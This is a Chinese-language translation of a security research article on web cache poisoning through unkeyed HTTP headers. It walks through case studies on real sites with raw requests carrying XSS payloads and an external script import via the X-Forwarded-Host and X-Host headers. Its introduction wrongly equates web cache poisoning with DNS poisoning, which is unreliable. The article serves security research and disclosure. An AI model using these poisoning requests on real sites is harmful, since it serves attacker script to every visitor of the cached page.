导语:网页缓存投毒长期以来一直是一个难以被捕捉的漏洞,甚至可以说,它仅是一种理论上的威胁,主要用于吓唬开发人员乖乖修补任何人都无法实际利用的所谓漏洞。

0358ad020c37-article-cache-poisoning-article.png

缓存投毒(Cache poisoning),通常也称为域名系统投毒(domain name system poisoning),或DNS缓存投毒(DNS cache poisoning)。它是利用虚假Internet地址替换掉域名系统表中的地址,进而制造破坏。当网络用户在带有该虚假地址的页面中进行搜寻,以访问某链接时,网页浏览器由于受到该虚假条目的影响而打开了不同的网页链接。在这种情况下,蠕虫、木马、浏览器劫持等恶意软件就可能会被下载到本地用户的电脑上。随着恶意软件传播的增多,缓存投毒的方法也层出不穷。

网页缓存投毒长期以来一直是一个难以被捕捉的漏洞,甚至可以说,它仅是一种理论上的威胁,主要用于吓唬开发人员乖乖修补任何人都无法实际利用的所谓漏洞。

在本文中,我将介绍如何通过使用复杂的网页功能将其缓存转换为漏洞,进而利用虚假地址访问发起攻击。

我将通过漏洞来说明和开发这种技术,这些漏洞使我能够控制众多流行的网站和框架,包括从简单的单一请求攻击到劫持JavaScript、跨越缓存层、攻击社交媒体和云服务。最后,我将讨论如何防御缓存投毒。

核心概念

缓存101

要掌握缓存投毒,你就需要快速了解缓存的基本原理。 网页缓存位于用户和应用程序服务器之间,用于保存和提供某些响应的副本。在下图中,你可以看到三个用户一个接一个地获取了相同的资源。

1.jpg

缓存的目的是通过减少延迟来加速页面加载,同时减少应用服务器上的载荷。所以,一些公司会使用Varnish之类的软件来管理自己的缓存,而另一些公司则选择使用Cloudflare这样的内容分发网络(Content Delivery Network,CDN),缓存分散在各个地理位置。此外,一些流行的网页应用程序和框架(如Drupal)也有内置缓存的功能。

除此之外,还有其他类型的缓存,例如客户端浏览器缓存和DNS缓存,但它们不是本文研究的重点。

缓存键(Cache key)

不过缓存还潜伏了很多危险的假设,每当缓存接收到对资源的请求时,它需要先决定是否已保存了同样的副本,是否可以使用该副本进行响应,或者是否需要将请求转发给应用服务器。

确定两个请求是否试图加载相同的资源可能比较困难,而要求请求按字节顺序进行匹配则是完全无效的,因为HTTP请求中充满了无关紧要的数据,例如请求者的浏览器:

GET 
/blog/post.php?mobile=1
 HTTP/1.1
Host: 
example.com
User-Agent: 
Mozilla/5.0 … Firefox/57.0
Accept: */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://google.com/
Cookie: jessionid=xyz;
Connection: close

于是缓存使用了一个叫做缓存键的概念来解决这个问题,HTTP请求的一些特定组件被用于完全识别被请求的资源。在上面的请求中,我用橙色突出显示了典型缓存键中包含的值。

这意味着缓存认为以下两个请求是等效的,并且会很迅速地用第一个请求缓存的响应来响应第二个请求。

GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=pl;
Connection: close
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=en;
Connection: close

这样,该页面在对第二位访问者进行响应时,就可能将发生错误的传递下去。这意味着,由不采用无键输入而触发的响应的任何错误,都可以存储并提供给下一个请求用户。理论上,网页可以使用“Vary”响应标头来指定应该输入的其他请求头。可实际上,Vary标头仅以最低要求使用,像Cloudflare这样的CDN就可以完全忽略了此要求,如此一来,用户甚至没有意识到他们使用的应用程序实际上完全可以响应任何基于标头的输入。

缓存投毒原理(Cache Poisoning)

网页缓存投毒的目的是发送一个导致有害响应的请求,该响应被保存在缓存中并提供给其他用户。

4.jpg

在本文中,我将使用无键输入(如HTTP标头)来进行网页缓存投毒,不过这不是网页缓存投毒的唯一方法,你也可以使用HTTP响应拆分攻击(HTTP Response Splitting)和Tomcat请求漏洞(Request Smuggling)。请注意,网页缓存还支持一种称为网页缓存欺骗的攻击,千万不要把该攻击类型与网页缓存投毒的概念混淆了。

无键输入存投毒方法

我将使用以下方法查找缓存投毒漏洞:

5.jpg

第一步是识别无键输入内容,不过。手工完成这项工作非常繁琐,因此我开发了一个名为Param Miner的开源Burp Suite扩展,通过猜测标头或cookie名称来自动执行此步骤,并观察它们是否对应用程序的响应产生影响。

找到无键输入内容后,接下来要做的就是评估缓存投毒的威力,然后尝试将其存储在缓存中。如果存储失败,你需要更好地了解缓存的运行方式,并在重新尝试之前找到一个可缓存的目标页面。页面是否能被高速缓存可能取决于各种因素,包括文件扩展名、内容类型、路由、状态代码和响应标头。

缓存的响应可以屏蔽无键输入,因此如果你尝试手动检测或探索无键输入,则cache-buster 是至关重要的。如果加载了Param Miner,则可以通过向查询字符串添加一个值为$ randomplz的参数来确保每个请求都具有唯一的缓存键。

当审计一个在线网站时,实施意外投毒的攻击力非常大。 Param Miner通过向来自Burp的所有出站请求添加cache-buster 来缓解这种情况。此cache-buster 具有固定值,因此你可以观察到自己所发起的缓存行为,而不会影响其他用户。

测试案例

现在以测试案例来做一下详细的解释,注意测试时,本文所讨论的所有漏洞都已被报告和修补,但出于测试需要,我又临时编写了一些漏洞。

其中许多案例研究在无键输入中利用了XSS等辅助漏洞,不过要记住,如果不实施缓存投毒,这些漏洞是无用的,因为没有可靠的方法来强制另一个用户在跨域请求上发送自定义标头,这可能就是它们这么容易被找到的原因。

基本步骤

首先,让我们来看看Red Hat的主页。 Param Miner立即发现了一个无键输入:

GET /en?cb=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: canary

HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https://canary/cms/social.png" />

我们可以看到应用程序已使用X-Forwarded-Host标头在 <meta> 标签内生成Open Graph URL。下一步是探索它是否可利用,我将从一个简单的跨站点脚本有效载荷开始。

GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."><script>alert(1)</script>

HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>

可以确认,程序已经做出一个响应,它将对任何查看它的人执行任意JavaScript。最后一步是检查此响应是否已存储在缓存中,以便将其传递给其他用户。你可以先通过重新发送没有恶意标头的请求进行验证,然后直接在另一台计算机上的浏览器中直接获取URL。

GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com

HTTP/1.1 200 OK
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>

尽管这个响应没有任何表明缓存存在的标头,但我编写的漏洞明显已被缓存。快速DNS查询提供了以下的解释:www.redhat.com是www.redhat.com.edgekey.net的CNAME,表明它正在使用Akamai的CDN。

请谨慎投毒案例

以上,我已经证明可以通过投毒https://www.redhat.com/en?dontpoisoneveryone=1来进行攻击,以避免影响网站的实际访问者。为了真正对该博客的主页进行投毒攻击,并将我的漏洞传递给所有后续访问者,我需要确保在缓存的响应过期后将第一个请求发送到主页。

虽然,你可以尝试使用像Burp Intruder或自定义脚本之类的工具来发送大量请求,但是这种高流量的方法很难做到这一点。攻击者可以通过对目标的缓存到期系统(cache expiry system)进行逆向工程,并通过浏览文档和监控网站来预测准确的到期时间来避免这个问题。

在unity3d.com中获取此缓存投毒漏洞的方法:

GET / HTTP/1.1
Host: unity3d.com
X-Host: portswigger-labs.net

HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
…
<script src="https://portswigger-labs.net/sites/files/foo.js"></script>

我利用了一个无键输入:X-Host标头,用于生成脚本导入。响应标头“Age”和“max-age”分别指定当前响应的时间和它将过期的时间。综合来看,这些信息就是要告诉我们应该发送有效载荷的精确时间,以确保我们的响应被缓存。

选择性投毒案例

HTTP标头可以加速缓存的内部运行效率,以下面这个著名的网站为例,它的使用速度很快,可惜无法命名。

GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 … Firefox/60.0
X-Forwarded-Host: a"><iframe onload=alert(1)>

HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding
…
<link rel="canonical" href="https://a">a<iframe onload=alert(1)>
</iframe>

乍一看,它几乎与本文讲的第一个样本相同。但是,Vary标头告诉我们,用户代理可能只是缓存密钥的一部分,而且我经过手动测试也确认了这一点。我使用的是Firefox 60,这意味着,我的漏洞只会提供给其他Firefox 60用户。因此,我们可以使用一个流行的用户代理列表来确保大多数访问者接受我们的漏洞,但这种行为使我们可以选择更具选择性的攻击。如果你了解目标的用户代理,则可以针对特定人员发起攻击,甚至可以隐藏自己的攻击意图。

在下一篇文章中,我会接着介绍剩余的投毒案例。

源链接

Hacking more

...